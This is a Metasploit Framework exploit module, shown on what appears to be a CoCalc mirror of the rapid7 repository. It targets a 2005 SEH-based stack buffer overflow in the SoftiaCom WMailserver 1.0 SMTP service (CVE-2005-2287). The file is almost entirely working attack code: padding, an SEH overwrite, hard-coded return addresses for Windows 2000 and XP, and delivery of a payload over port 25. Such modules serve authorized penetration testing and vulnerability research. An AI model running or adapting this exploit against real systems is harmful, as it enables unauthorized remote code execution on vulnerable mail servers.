Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/smtp/wmailserver.rb
19721 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::Remote::Seh
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'SoftiaCom WMailserver 1.0 Buffer Overflow',
17
'Description' => %q{
18
This module exploits a stack buffer overflow in SoftiaCom WMailserver 1.0
19
(SMTP) via a SEH frame overwrite.
20
},
21
'Author' => [ 'MC' ],
22
'References' => [
23
[ 'CVE', '2005-2287' ],
24
[ 'OSVDB', '17883' ],
25
[ 'BID', '14213' ],
26
],
27
'DefaultOptions' => {
28
'EXITFUNC' => 'thread',
29
},
30
'Platform' => 'win',
31
'Privileged' => true,
32
'Payload' => {
33
'Space' => 600,
34
'BadChars' => "\x00\x0a\x0d\x20",
35
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
36
},
37
'Targets' => [
38
[ 'Windows 2000 Pro English All', { 'Ret' => 0x75022ac4 } ],
39
[ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],
40
],
41
'DefaultTarget' => 0,
42
'DisclosureDate' => '2005-07-11',
43
'Notes' => {
44
'Reliability' => UNKNOWN_RELIABILITY,
45
'Stability' => UNKNOWN_STABILITY,
46
'SideEffects' => UNKNOWN_SIDE_EFFECTS
47
}
48
)
49
)
50
51
register_options([ Opt::RPORT(25) ])
52
end
53
54
def exploit
55
connect
56
57
filler = " " + rand_text_alpha_upper(5115)
58
seh = generate_seh_payload(target.ret)
59
sploit = filler + seh + rand_text_alpha_upper(200)
60
61
print_status("Trying target #{target.name}...")
62
sock.put(sploit + "\r\n\r\n")
63
64
handler
65
disconnect
66
end
67
end
68
69